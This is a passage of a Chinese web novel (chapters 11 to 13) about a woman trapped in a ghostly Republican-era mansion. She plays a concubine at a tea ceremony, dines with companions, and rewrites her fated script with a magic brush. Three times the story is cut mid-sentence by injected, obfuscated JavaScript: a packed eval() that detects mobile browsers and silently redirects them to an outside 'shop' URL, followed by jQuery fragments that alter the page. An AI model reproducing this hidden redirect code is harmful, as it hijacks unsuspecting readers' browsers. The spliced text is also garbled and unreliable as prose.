银烛两步上前,把药碗递给黎秋又,但没有离开的意思。
池二浩用脚尖踢了踢宣余,宣余连忙把手里的箱子放到黎秋又面前,非常自然地别过了银烛的肩膀往一边走,“好姐姐,我们在这看着,乔小姐都不好意思换衣裳了,一会儿再过来接她呗,你看这么冷的天儿,要再把姐姐的手给冻伤了怎么办啊。”
他刚这么说完,宣余又惊呼一声:“哎呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698923|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!怎么还真冻伤了啊!我带姐姐先去擦药。”
黎秋又不禁开始怀疑,这俩人真的不是鬼宅子里的一员吗?不是的话,这融入得也太快了些吧!
“这箱子里是乔小姐和里面二位小姐可以穿的衣物,旁边这些箱子里是些女孩子用的生活用品,少爷大清早就赶着我俩上街去采买了。”
池二浩简单说了两句,就开始跟黎秋又讲重点:“姐姐,你是人吧?”
黎秋又准备翻白眼,池二浩赶紧接下一句:“我知道姐姐是人,我叫池二浩,刚才那个叫宣余,我们也是人,不过说来话有些长,有机会我们再细聊,少爷给乔小姐准备了饭菜,我悄悄尝过了,可以吃,就是味道不怎么样,他叫我嘱咐你,一会儿去前厅,什么都不能吃也不能喝,千万记住了。”
他快速讲完这些话,那边宣余没拖住人,正在往回走了。
黎秋又端起自己面前的碗,闻了闻,还真是奶茶的味道,就是功效不好说了。
池二浩以为黎秋又脑子不好,非要喝,连忙按住黎秋又的动作。
哪知,黎秋又只是闻了闻,又抬起眼来,双眸跟被水洗过似的透亮,她问:“那少爷人呢?”
“她真这么问?”贺砚清长身玉立,等在院门之外。
“是啊,”宣余就数一张嘴巴快,“她看见我们,没问脚边的箱子,没问我们为什么在这里,而是张口就问少爷在哪,可见这个姨娘是把少爷当家人了。”
池二浩咧着笑的嘴突然就弯下来了,赶紧去捂宣余的嘴,“你可闭嘴吧。”
很明显少爷的心思才不是把乔小姐当姨娘呢!
果然,贺砚清的脸色又阴沉下来。
“我先前说了,不要叫她姨娘、姨太太,要叫乔小姐。”贺砚清看也不看他们,转身就走,快步离开这门前,“小宣,你知错犯错,一会儿罚你去我书房里抄五百个英语单词。”
宣余“啪”地给自己一嘴巴。
池二浩拽着他赶紧跟上贺砚清。
黎秋又听见不远处的动静,换好衣服,跟着银烛出门,才看见另一个门口一闪而过的身影。
一身天青色唐装长衫尽显国人的温雅韵味,只是他臂弯间,还搭着一条红色围巾,像是女士用的。
黎秋又垂眼看了看自己刚换上的衣服……淡红色,已经是能选出来的颜色最素的了。
贺砚清好像很喜欢红色,不,喜欢让乔挽云穿红色。
不过,也或许是为了把她冲喜的作用贯彻到底,毕竟她嫁到这将军府里来,首要目的就是用这个喜事来冲一冲贺老将军的沉疴煞气。
黎秋又觉得自己大概是以为有了金手指,就能安稳无恙了,飘了,一路上都没有意识到自己的处境有多危险。
直到到了正厅,她见到了满屋子的,“人”。
昨夜里,拜堂时坐在上位的二位“高堂”,明明亲眼见过那位的脑袋,跟枯树疙瘩似的被贺砚清轻轻松松折了,从脖子那断口处还冒出滚滚臭浓烟来着,而他现在竟然还安安稳稳坐着。
黎秋又猛然想到,先前跟唐约推断的,这个鬼打墙幻境应该是属于乔小姐的内心恐惧。
所以即便贺砚清当时把这里的人全部都“咔咔”喽,第二天这些人还是会出现。
因为他们一直存在于乔挽云的记忆里。
黎秋又在银烛的搀扶下进了这正厅,中西合璧的建筑里,装潢也是倒中不洋的布置,有西式壁炉,也有中式太师椅,有西式水晶吊灯,也有中式博古架,上面还摆着各种青花瓷花瓶和西洋照相机之类的。
确实有钱,不过这个年代的有钱,谁知道是不是民脂民膏呢。
“妾身乔氏,见过各位长辈,老爷,太太。”
这已经是黎秋又打过腹稿,她能想到的最中规中矩,最不出错的问候法子了。
“乔氏好大的架子。”
那该死的脑袋掉个没够的家伙一开口又差点给黎秋又熏死过去。
11. 第 11 章
怎么没个新鲜台词了!怎么给下马威都是这句话!她哪里来的架子?
黎秋又骨架子都很小了,买衣服的时候总会遗憾撑不起很多好看的衣服,现在她就差跪这了,哪里来的架子!
“乔儿,来,坐我身边来。”那俩太师椅的左边是一排木制沙发,漆得油光发亮,坐在那里的人穿着一身大衣,扶手边还有一支拐杖歪在上面。
他开口,座上那两位才没再说什么。
在他身侧坐着的,就是阴沉着脸的二太太。
黎秋又转回视线,这才注意到男人的模样。
贺砚清大概二十四五的样子,眼前这个男人看上去也像是不到五十,由此看来,贺砚清的俊颜竟然也是一脉相承的。
这病秧子老爷也还挺……风韵犹存,可见年轻时的模样应该比贺砚清差不了太多。
这样看起来,他旁边的二太太就十分不起眼了。
比起与生俱来的气场,二太太更像是在这个位置的时间久了,硬养出来的傲气。
听到这句话,二太太也仍面色不改。
坐老爷身边去,黎秋又哪儿敢啊!
虽然老爷看上去模样英俊,但他好歹是自己名义上的,老,老公啊!太可怕了!她居然英年早婚,还是跟一个老头。
黎秋又脑瓜子活跃转不停,动作也丝毫不敢迟钝,对老爷弯了弯腰,从银烛忙活着端来的托盘上,取了茶盏,挨个敬茶。
来时,银烛非常贴心地对她讲了敬茶顺序,以及说话方面的避讳。
说到避讳,黎秋又问了句昨晚的鱼腥气,银烛的表情很怪异,皱着眉,不解,惊疑,随后摇摇头,“这个更是避讳中的避讳,不止今天,不论什么时候,什么地方,宅子里所有人都不能提这个事。”
她像是不记得昨晚的事。越是这么说,就越是蹊跷。
此时,黎秋又到老爷身边敬茶,一股似有若无的淡淡鱼腥气还是从二太太那边飘过来。
二太太昨晚被腌入味了?
老爷的手指上没有戴什么多余的装饰,但他在黎秋又敬茶时,轻拍了拍黎秋又的手,想叫她放轻松,黎秋又却感觉被针扎了似的。
不是心理作用,而是手真的像被针扎了一样疼,再看过去,老爷手里也真是什么暗器也没有的。
敬茶到二太太这里,那股味道好像又要重一些了。
“乔氏,敬二太太喝茶。”
二太太端了端身子,又端了茶,“是个听话的,既如此,那就尽早为老爷开枝散叶,也算是为贺家分忧了。”
她饮了半口茶,又说:“给你半年时间,如果半年你的肚子都没什么动静,那这个家就留你不得了。”
黎秋又的CPU又快烧了。刚才不是她给的什么什么绝育汤的吗?
别告诉她这是个宅斗剧本!那黎秋又真的是能死得渣都不剩了。
不知道怎么回复这句话,来之前也没能提前打草稿,只好低着头后退了几步。
在老爷看来,乔氏是害羞了,他伸手去握黎秋又手腕,她不着痕迹地稍微侧了一下躲开了。
就算这么多双眼睛看着,她也不想被老头子抓啊!而且还是个带刺的老头。
“振江,昨晚的事情已经传出去了,在这个节骨眼上,你可不要因小失大,乱了我们的计划。”枯木疙瘩脑袋讲起话来声音空洞又苍老。
听上去像是很重要的情节,不知他们说的昨晚的事情,是鱼腥臭?还是死戏子?黎秋又努力记住这些台词。
身为将军的贺老爷,八风不动地靠在椅子里,即便是身体带病,也有种杀神的气质,将对方的那句话,讽刺和威慑力都降到最低。
他看上去根本不像是病到卧床不起,需要靠冲喜来祛煞的样子,也根本不像是需要由儿子代为拜堂的样子。
贺老爷笑得中气十足,轻松优雅,声音都透露着上位者的沉着,“小事,无碍。”
“哼,”枯木墩子用鼻孔哼了声,黎秋又往贺老爷身后又躲了两步,委屈的表情看上去实在是我见犹怜,然而她只是觉得又快臭曰了。
“如今贺砚清回来了,你要叮嘱他,仔细站位,乱世之中,万不能行差踏错。”
枯木墩子高傲地坐在那里,双手掌着太师椅扶手上的两只小狮子,像是下一刻就要黄袍加身,要他们都给他磕个头高呼万岁了似的。
黎秋又在听见贺砚清的名字时,耳朵毛发痒,精神似乎格外注意与贺砚清有关的话题。
这应该是乔挽云的心境作用。
“怀真学的是建筑,不与我们牵扯,何须忧心?”
“哼,他过段日子要进入工程研究所,你不提,当我们都不知道?”
贺老还是笑着的,但黎秋又感觉到,他耐心所剩不多。
她也没什么耐心了,满是鬼怪的房间,在她入门第二天敬茶时,开这种严肃会议,黎秋又整个人都不好了。
枯木疙瘩散发出来的气味更重了,黎秋又甚至感觉他的气味已经化成实质,在周遭弥漫着黑气。
“年轻人的事情……”贺老脸上仅剩不多的笑容被打断。
“贺振江,摆正你的态度,记住你现在的地位都是怎么来的!”
黎秋又也不明白怎么三言两语就剑拔弩张了。
空气都安静下来。
咕~
黎秋又的饿肚子打破了凝重的氛围。
堂门前,一身形颀长,身姿挺拔的人影背着光过来,轻掀长衫,迈过门槛,朝昨天他还拧过的脑袋,和在场众人,都深鞠一躬,声音澄澈如清泉,“诸位叔伯长辈早上好,爸爸,二妈妈,早上好。”
黎秋又对香的味道不是很敏感,除非浓重到无法忽视。
但贺砚清进来,她闻到了淡淡的饭菜香。
讲话的空隙间,众人又听见“咕咕~”几声。
贺振江闭了闭眼,再睁眼,神色中又露出了笑,隔着黎秋又的袖子,握住她手腕,把她拉近了些,“我的乔儿饿了。”
贺砚清视线不转,一只手在背后狠狠掐着自己的手心。
贺振江又笑着对贺砚清说:“怀真,怎么不叫姨娘?”
贺砚清松开紧绷的手指,面上又露出温雅笑意,“爸爸,乔小姐既是冲喜侍疾入的门,又代我尽孝,于我,于贺家,她都是恩人,但自古以来姨娘这个称呼都是为奴为仆者,我们这样做,岂不是忘恩负义?”
黎秋又脑袋嗡嗡的,他叽里咕噜说什么呢,好饿……
贺振江想想:“嗯,怀真说的也对,是不应该。”
但二太太脸色已经黑成了锅底。
“那就叫乔小姐就行。”贺振江宽容道:“乔儿饿了,不如怀真先带乔儿去吃点东西,不用在这里陪着我们这些老古董了。”
“谢谢老爷。”黎秋又飞快道谢。
“慢点,别急,瞧你开心的。”贺振江没松手,拉住了黎秋又。
他的拇指在黎秋又手腕上摩挲了两下,“去账房领点零用钱,一会儿去街上逛逛,买点喜欢的东西,你妈妈那边,怀真说已经安排好了,别担心。”
“谢谢老爷。”黎秋又继续飞快道谢。
“别跑,别摔着了,去吧。”他拍了拍黎秋又的手。
黎秋又看上去很高兴,贺砚清长睫遮眸,掩盖了眼底的情绪。
先前还晴空暖阳的,黎秋又跨出门就发现天色变阴沉了,这破天气,别等会又下起鬼雨了。
贺砚清在身后与长辈们道别,才出来走在黎秋又身侧。
昨晚发生的事情不少,单看刚才堂前众人的态度,他们像是不记得发生过变故的事。
二太太不记得满院鱼腥气的事,那枯木疙瘩不记得贺砚清拧他脑袋的事,贺振江不记得他昨晚压根没见过乔挽云的事。
照这么说,黎秋又身边的贺砚清,应该也不记得他和自己拜堂的事。
一切事件都还在按照原来的轨迹运行。
他一早就差人来守在门口,叫她不要喝二太太送来的汤药,也是因为知道这药不是什么好东西。
这么想着,迎面就过来了俩人。
唐约和廖欢。
她们规规矩矩,微垂着脑袋走到面前来,朝贺砚清颔首。
黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698924|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋又眼睛都瞪圆了,趾高气昂的唐大小姐,居然会低头。
还以为她们被摄魂了呢,黎秋又就看见唐约瞪了她一眼,意料之中。
“怕你不自在,请了唐小姐和廖小姐来陪你,我先带你们去吃饭。”
贺砚清的俩狗腿子也跟上来了,把先前他挽在臂弯的那条红色围巾递来,宣余笑容憨憨的,“少爷一早上在厨房忙个不停,听说你被叫到前厅这么久都不出来,又赶紧跑去救你,好在乔姐姐毫发无损,不然少爷怕得掀了那堂屋。”
围巾在贺砚清手里,他捏了捏,又犹豫了一会儿,靠近黎秋又,要为她戴上。
黎秋又条件反射地退后一步,谁知道身后还站着一个默不作声的贺尧,粗高跟小皮鞋踩到他脚上,又是一阵“嗷嗷”鬼叫。
被踩了的傻孩子一边嗷嗷叫,一边跟一堵墙似的挡在黎秋又后面八风不动,叫她退无可退。这时候天看上去乌得快要黑了,贺砚清伸过来一只手握了握黎秋又肩膀。
她不敢动了。
黎秋又今天穿的是淡红色长裙,是民国时下很流行的“上紧下宽”款式裙装,上半身是合体的西式剪裁,下半身是百褶的东方裙袍。
贺砚清很会搭围巾,宽大的围巾随手在黎秋又身上裹了两圈,裙子变成了披肩款,三两下就衬出了大家闺秀的气质,而且,红色很配她。
贺砚清还贴心地把压在围巾下,她自己随意扎的低马尾掏出来,理了理。
“还冷吗?”贺砚清问。
黎秋又哆嗦着,摇摇头。
贺砚清那张俊脸上,愁云浓雾,跟这惨淡的天气似的,他的眼里,黎秋又正大睁着双眼,盛着水光,一眨不眨地望着他,嘴唇紧抿。
远处有脚步声,还有丫鬟叽叽喳喳聊天的声音。
“那日你去二太太房里,怎么就被赶出来了?”
“哎,不过是聊到了十六太太入门,我随口提了句当年南都轰动一时的故事,谁知道二太太突然就变了脸。”
“你提的可是鱼腹传情那个事儿?”
“嗯。”
“你提的那不是鱼腹传情,你提的是你的脑袋吧!”这个丫鬟像是在另一人的身上拍了一巴掌,又继续说:“你也来府里两三年了,莫说鱼腹传情,就鱼这个字提了,那都是提头的事情!”
八卦听到重点,黎秋又身边的贺砚清也听到了,他朝那个方向走了两步,轻咳一声,俩丫鬟听到声音,慌忙噤声跑走。
嚯,看样子,少爷蛮善良的啊!
黎秋又跟在贺砚清身后,几人在后面挤眉弄眼。
黎秋又:你们怎么成他的人了?
唐约瞪回来。
廖欢指了指贺砚清,又两手大张,龇牙咧嘴:这少爷,吓死人了。
池二浩撇撇嘴:胡说,少爷人很好的。
宣余干笑:如果没有罚我抄英语单词的话。
贺尧皱着眉头,嘴巴紧闭,满腹心事的样子。
“不知道有没有记错,乔小姐喜欢吃不能太甜的点心,不能太辣太咸的中餐,不能太生的牛排,不能太酸的水果。”
贺砚清在前面等了她半步,黎秋又不情不愿地跟上去。
快别说了,她快饿死了,咕~
乔小姐还挺矫情,但黎秋又想想,自己喜欢吃的,好像也是这样。
这话不好回答,她只能“嗯……”
“难怪少爷在厨房愁容满面的,敢情是无从下手呀!”宣余笑。
池二浩胳膊肘捣了他一下,“听着复杂,但其实都是些很普通的要求,乔姐姐的口味并不难照顾。”
天上阴云散开一些。
黎秋又侧脸去看贺砚清,发现他面上又有了点笑意。
她又抬头看看天色。
黎秋又觉得,她好像发现了了不得的事——贺砚清的情绪,在影响这幻境里的天气!
于是!黎秋又快步跟上贺砚清,伸出两根手指小心揪了揪贺砚清的袖口,一双眼眸晶莹发亮,“是少爷亲手做的饭吗?少爷真厉害!”
“还有,我妈妈的事,谢谢你,你人真好!”
12. 第 12 章
天气很好,头顶那片让人难过的阴云很快被风吹散,转瞬间晴空万里,黎秋又的心情也好,贺砚清暂时离开了,饭厅里只剩下了他们几个,人。
桌上摆的菜品很丰盛,是贺砚清亲自下厨做的,池二浩和宣余两人全程“指导”,放心得很,小鸡炖口蘑,虾仁青笋,蟹黄豆腐,清炒豌豆苗,都是些做法简单,口味清淡的家常菜式。
黎秋又在心里把贺砚清夸出花来,就是不太确定人吃鬼菜,会不会有什么奇怪的反应。
唐约两人看上去像是很不习惯大早上吃这么丰盛,脸色都不太好。
“唐大明星,今天怎么光瞪人,不讲话?”黎秋又一边问,一边尝了口裹满蟹黄的豆腐,非常合口味,非常满意,差点把舌头都咽了,害得她狂炫两大口白米饭。
“难——”唐约一个字说了两三秒。
黎秋又:“?”
“吃——”
宣余:“啊!唐姐你怎么了?”
黎秋又一拍桌子,“先前说找唐约要签名的,该不会是你俩吧?”
池二浩高举双手以示清白,“我才不会在这种很明显已经脱离现实世界的环境下干这么没水准的事情!”
“你有水准,回答问题说有五个象限就是你的水准,我们现在就是掉进你的第五个象限里来了。”宣余终于找到能发牢骚的发泄口了。
“别——!”唐约开口,粗哑的声音又喊了两三秒。
此人很不对劲!黎秋又再问:“你到底怎么了?”
“吵——!”
唐约又瞪了黎秋又一眼,不说话了。
她的眼神很刀人,俩小孩瞬间噤声。
黎秋又不忘继续扒两口饭,整张桌子上就她胃口最好,嘴里的东西咽下去以后,她问廖欢:“她不说,你说。”
廖欢看了眼唐约,唐约没理她,她才说:“还——”
她一开口,也是一个字两三秒……
黎秋又叹口气,耐着性子看着她。
池二浩和宣余也齐刷刷地盯着廖欢,廖欢张了张口,决定用手指沾水,在桌上写字。
“还不是因为你的那碗慢性口口口口奶茶,早上你们走了,我俩饿得慌,就把那奶茶喝了。”
“什么什么?口口奶茶是什么?”池二浩问。
“说来话长……”黎秋又简单讲了一下自己发簪笔的作用。
“所以,你们是把刚才银烛给乔姐姐的汤药给喝了?然后你俩讲话就变成了,这——样——?”宣余学唐约讲话,一脸欠扁样。
“……”对面二位姑娘沉默。
可池二浩仍旧一脸愁云,“被改过的汤药,真的不会再有原来的效用了吗?”
黎秋又闭着嘴巴嚼完口里的饭菜,“应该不会有了。昨晚我改了那水潭里尸体的性别,今早上尸体变回女了吗?”
“说到这事,确实蹊跷!”池二浩压低声音,“我们捞人的时候感觉就像是女的,而且还是高挑精瘦的女人。”
“对!我还跟浩子说呢,看身形还有点像唐约姐,所以我们才这么卖力地打捞。敢情变成男尸还是因为你改了台词。”
黎秋又皱眉,还真让唐约的直觉猜对了,如果当时没有改掉性别,那唐约就无了。
唐约脸色本来就不好,现在也看不出来是不是更加不好了,总之就沉着脸,向后靠在椅背里,看着几人讲话。
“还有,昨晚少爷送你们回去睡觉,我和宣子守着尸体,本来是要找个席子给他卷卷,从后门扔出去的,但是二太太非不准我们动。”
贺砚清回到这里后,二太太的人已经把尸体搬走了,她对贺砚清说夜里要去老爷房里,贺砚清就没再说什么。
“但少爷可能是在怀疑什么,叫我们俩在府里上上下下翻了个遍,也没找到那个男尸。”
“倒是从井里捞了不少海鲜出来。”宣余做简易补充。
唐约听着,眉头皱得更深了。
“刚才那俩丫鬟的对话都听到了吧?”黎秋又压低声音,“二太太肯定是有问题的。”
“昨晚是因为发生了变故,乔姐姐,那你今晚,是不是要去老爷房里了?”池二浩担忧。
黎秋又吃着东西,满口都是幸福,听到这话又开始惆怅了,“大概是的,帮我出出主意吧,我真不想去老爷房里啊!”
“乔挽云她,怎么这么想不开呢。”黎秋又叹气。
黎秋又和她的妈妈一天也没有相处过,她只在外婆房里的照片上见过妈妈的模样,年轻,漂亮,除此之外,没有别的感情。
她不知道妈妈如果在身边会是什么样的。
别人的妈妈,会因为孩子的成绩起伏而变化情绪,开心时会带孩子去吃喝去玩儿,不开心的时候可能还会打骂孩子。
外婆不会,她甚至很少问黎秋又的成绩,只会问黎秋又在学校有没有吃饱,有没有摔跤,有没有和同学起争执。
外婆离世前,没生什么病,前一天还在楼下跟其他老太太们跳广场舞,晚上睡梦中就去了。
而现在,她在这个鬼地方,有了个生病的妈妈,还要靠牺牲自己的幸福去换钱,来为妈妈治病。心里在拧麻花,好别扭。
“我——”在一边沉默了好久的贺尧,一直发呆,突然开口,跟唐约一个动静。
“想——”
黎秋又难得有耐心,她已经清空面前的那碗蟹黄豆腐了,腾出嘴来说一句:“你说。”
贺尧嘟了嘟嘴,“你为什么要跟别人结婚。”
“咳咳,”黎秋又呛住了。
咳了好一会儿,才在贺尧幽怨的眼神中缓过劲来。
“关你什么事?小孩子家家的管好自己吃饱喝好就可以了。”黎秋又给贺尧碗里夹了一块口蘑。
贺尧皱着眉,一脸的不满意,“可你是我嫂子,你跟别人结婚,就是对我哥哥不忠。”
黎秋又琢磨了一个说法:“你知道演戏吗?”她指了指唐约,“在电视上见过她吗?演戏的,结婚这个事情,我演的,假的,知道了吗?”
贺尧:“那你演完以后,还是我嫂子吗?”
黎秋又无奈,狠狠点了点头。
毕竟能不能留着全尸离开这个鬼打墙还是个问题。
贺尧瞬间满脸阳光灿烂,拿起筷子,举起来对齐,就开始哐哐炫饭了。
唐约疲惫地深深叹气,也夹了点菜吃。
“唐约姐,放心吃,少爷做菜的时候我们俩一直在旁边的,别怕有问题。”池二浩夹了菜塞进嘴里以示安全。
“难——!”
“吃——!”唐约拒绝。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698925|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难为她了,讲话这么费劲还把难吃说了两遍。
黎秋又抗议:“哪里难吃了,”
“少爷厨艺很不错!一个民国留子,把饭做成这样,很厉害了好吧!”黎秋又吃好了,满足地擦擦嘴,向后靠进椅背里。
这是她昨天一整天到今天吃的第一顿饭,她吃得肚子都撑圆了。
唐约又看了她好一会儿,黎秋又疑问回看。
没反应……
唐约和廖欢这才开始放心地风卷残云。
敢情是拿黎秋又试毒呢。
吃饱喝足,黎秋又懒懒地靠坐着消化食物,金光闪闪又开始汇聚。
她赶紧闭上了眼睛,内心无能狂怒:怎么一点休息时间不给?一点自由空气不给?
“我——”唐约开口,大家都同情着没有打断她的话。
“要——”
“找——尸——体——”
“你要找鬼体我都没意见。”黎秋又悲哀,她认命般的睁眼,看完台词,她又把脑袋朝后一栽。
【乔挽云应付过难关,便立即去账房支了钱,她揣着一袋银元,径直去了宅院后门,她邻家的哥哥一早便等在了那处。】
“哇去!好神奇的字!”宣余凑到黎秋又旁边来看,小字像是会呼吸,在空中浅浅漂浮。
他用手戳了戳,“还真能擦掉哈。”
池二浩一巴掌朝他拍过来,“狗登,别给坏了事儿!”
唐约瞥黎秋又一眼,嗤笑一声:“乔——小——姐——”
“还——真——多——情——啊——”
如果是她原本的语气讲出这句话,大概就是讽刺,现在拖着长音讲话,黎秋又还听出了阴阳怪气。
黎秋又还闭着眼,叹气,“唐大演员能不能给支个招,我这乔小姐演不好,不是死少爷手里就是死老爷手里,现在还没准要死在邻家哥哥手里。”
“也没那么可怕,谨慎点别说错话应该就没事。”池二浩宽慰着。
黎秋又从袖口里掏出玉质碧绿的笔,思考怎么改动能对她有利。
宣余吃着饭,下意识就去搭池二浩的话,“就怕最后演员入戏了,彻底把自己变成角色。”
他这话说完,黎秋又还没什么反应呢,唐约搁下筷子,起身就朝屋外走,廖欢慌忙也起身,一边追,一边喊:“唐——约——姐——”
黎秋又总觉得这两天发生的什么事情都怪,就是没时间没精力去理顺。
现在,她游刃有余地擦掉了台词中的银元。
刚嫁人就拿钱给外人,还是外面的野男人,这个下场可够让她浸第二次猪笼了。
可她又不确定乔挽云给男人钱是什么目的,万一坏了大事……
除非是救人性命,否则黎秋又无法容忍乔挽云是个恋爱脑,拿钱供养野男人。
她可以把银元改成药草。
“艹?”宣余看着黎秋又写字,一边感慨神奇,一边疑惑,“乔姐姐,你骂人。”
“我真是草了……”黎秋又攥着笔狠狠甩了两下,如果是圆珠笔,中性笔,没准还能甩出墨来,可这特么是毛笔啊!
她又是哈气又是舔毛的,金光没给她机会,还没等她写出剩下的字,就消散了。
所以,黎秋又一会儿得揣一兜……艹,去后院后门?
13. 第 13 章
贺砚清回来了。
瘫在椅子里的黎秋又坐直身体,池二浩和宣余连忙起身迎上去,正在吃饭的贺尧抬起头来看了眼,又低下脑袋去安静吃饭。
贺砚清还是那身天青色长衫,但看上去不太一样了。
面上带着温柔的笑,手中捧着一小束不知道哪里采的小花,清新和暖,和冬日的厚重氛围一点也不搭。
莫不是被银烛附身了?
“怎么不见唐小姐二人?”贺砚清顺着圆桌边,一直走到了黎秋又身侧。黎秋又“腾”地站起来,又被贺砚清按下去,宽大温凉的手掌力道不大,但黎秋又却感觉像是把她钉在凳子上了。
前一秒还在夸他厨艺不错的黎秋又,这一秒又开始觉得贺砚清此人,深不可测,阴晴不定,霸道强硬。
“表姐她们,有点别的事要做,就没办法陪我了。”黎秋又声音小而温吞。
两位狗腿子跑在贺砚清身前,在黎秋又身侧的座位上又是拖凳子又是收拾桌面的。
贺砚清看上去十分满意这两个有眼力见的小孩,轻拍了拍宣余的肩,他和池二浩两人撤开,还一边笑着说:“少爷是没看见,你做的饭呀,乔姐姐说可好吃了!吃得两眼放光!”
“是吗?”贺砚清在黎秋又身侧坐下来,轻轻嗅了嗅手中的小花,微微皱眉,看向黎秋又,把花递给她,“你帮我闻闻,这些花有香味吗?我怎么闻不到。”
外面阳光晴好,暖阳灿烂得像是下一秒就要过夏天似的,黎秋又甚至开始幻听夏季的鸟叫蝉鸣。
如果是乔挽云,她会怎么回答?黎秋又在线求助!急!
信号发送失败,俩小男高一个脑袋支到一边去,谁也不看她。
黎秋又认真仔细地闻了一下。
很明显这种路边的野花是没有香味的,就算贺砚清闻不到,也该有点常识。黎秋又却闻到了一点什么味道。
她对香的气味太不敏感,凑在花上闻闻,那丝丝缕缕的气息又引着她朝贺砚清身上嗅,最后,她认真下结论:“有一点,清新,像雨后的青草,又像是竹香,很好闻。”
这是贺砚清身上的味道,鬼怎么会有香味?难道说他的尸身是装在竹筒里的?
黎秋又评价完后睁眼,才发现自己距离贺砚清只有咫尺,他柔软的睫毛垂下,瑞凤眼让他显得更温柔,眼底流淌着笑,唇边的弧度更大了。
“真的好吃吗?”那张很开心的嘴唇张开,低缓轻柔地问话,场面变得旖旎红温。
黎秋又愣了愣,她说的是好闻,不是好吃。
“哦,你说饭菜吗?好吃,真的好吃,你看我肚子,吃得鼓鼓的。”她拍了拍肚皮。
场面有些安静得尴尬,她又关怀地问:“少爷,你吃了吗?”
贺砚清眼角弯了弯,“清晨时便吃过了,乔小姐这个懒觉睡得,我还以为你又不见了呢。”
他把小花放在一旁,从面前拿起筷子,夹了一颗青笋尝尝,“很多年没有做过菜了,你也不告诉我实话,小池你一向老实,你来说,这些菜里,哪些口味需要调整?”
这感觉,跟被老师点到名起来回答问题简直一毛一样!
池二浩靠近贺砚清来,咽了咽口水,黎秋又发送电报:[允悲]
一直埋头苦吃的贺尧这时候抬起头来,“嗝~”
然后站起身,喊一句:“该睡午觉了。”
……
池二浩被他这操作惊到了,直到贺砚清回过头去,看他在做什么,怎么迟迟不回话,他这才回过神。
“这道清炒豌豆苗的口味适中,其他菜式的味道都有些淡。”池二浩果真老实,宣余在他身后双手合十。
黎秋又时刻注意着屋外的天气。
很好,晴成夏天了。
“看来乔小姐没有骗我。”他放下筷子,视线又锁在黎秋又身上,“乔小姐吃饭一向比旁人吃得清淡,那果真是合口味,吃饱了?”
黎秋又狠狠点头,贺砚清他,还挺容易开心的嘛。
不过,他竟然能很清晰地意识到自己是没有嗅觉,没有味觉的。
这不是一般的鬼!
鬼怪陷入执念中,他们通常是不知道自己已经死了,生人误入,最忌讳的,就是对鬼怪说“你已经死了。”
他们会因为难以接受和面对心里恐惧,而暴走狂怒,轻则表露凶相,成为死后惨状,对人发出极端恶意,从而发动疯狂攻击。
重则执念空间崩解,会将他生平经历的所有的可怕的事情瞬间重现,记忆洪流的冲击会令他和空间里的人,魂飞魄散,彻底湮灭。
倘若这里真的是乔挽云的执念幻境,那贺砚清应该不可能有自主意识。他应该和其他鬼怪一样,在自己的既定轨道做着生前做过的事。
黎秋又想要试探着问昨晚那尸体,还有鱼味的事情,如果贺砚清不记得,那就好办。
她生硬地转移话题,“少爷昨晚睡得好吗?”
贺砚清神色闪过惊喜,但看着黎秋又有些谨慎小心的表情,又回归平静,他就像平常的朋友一样,回答黎秋又:“睡得不是很好,心里总惦记着事情。”
“惦记什么啊?”黎秋又问。
贺砚清想想,似是在认真回答:“惦记乔小姐妈妈的病情,惦记昨天发生太多事,乔小姐会害怕,也惦记乔小姐在陌生的地方,会睡不好。”
黎秋又撇嘴,敢情他就惦记自己姨娘了。
“啊!说到昨晚,那昨晚从小潭里捞出来的尸体怎么样了?”黎秋又趁火打劫,哦呸,趁热打铁。
贺砚清眼神闪过一丝困惑,“尸体?”
太好了,贺砚清也不记得!那说明,他没有强大到已经有了自己的意识,也意味着,他只会做自己生前做过的事。
然而下一秒——
“乔小姐问这个做什么?莫不是认识那男人?”
“嫂子不认识,但那个凶女人认识。”贺尧跑到贺砚清面前来。
黎秋又立即从座位上弹起来,就要去捂贺尧的嘴,贺砚清却只盯着她,眼底竟有些许质问的意味。
她这才想起,鬼怪们看不见贺尧,黎秋又干笑一声,在贺砚清头顶的发丝上轻轻拍了一下,“这里挂了几根野草。”
“他不是在前院唱戏的那位吗?衣服都没换,只是觉得有点可怕,怎么就突然死了?”
池二浩在贺砚清身后,紧急撤回一个贺尧。黎秋又看他把贺尧拽着往外走,松一口气。
“乔小姐怎么记性也不好了?”贺砚清隐隐松了口气,“先前唱戏的,不是你的表姐吗?”
欧漏!这只鬼怎么不按常理出牌!他怎么什么都知道!黎秋又瑟瑟发抖。
“放心,那男人不过是意外溺亡,府里会去梨园询问情况,并给他们一个交代,乔小姐也放心,我会处理好这些的。”
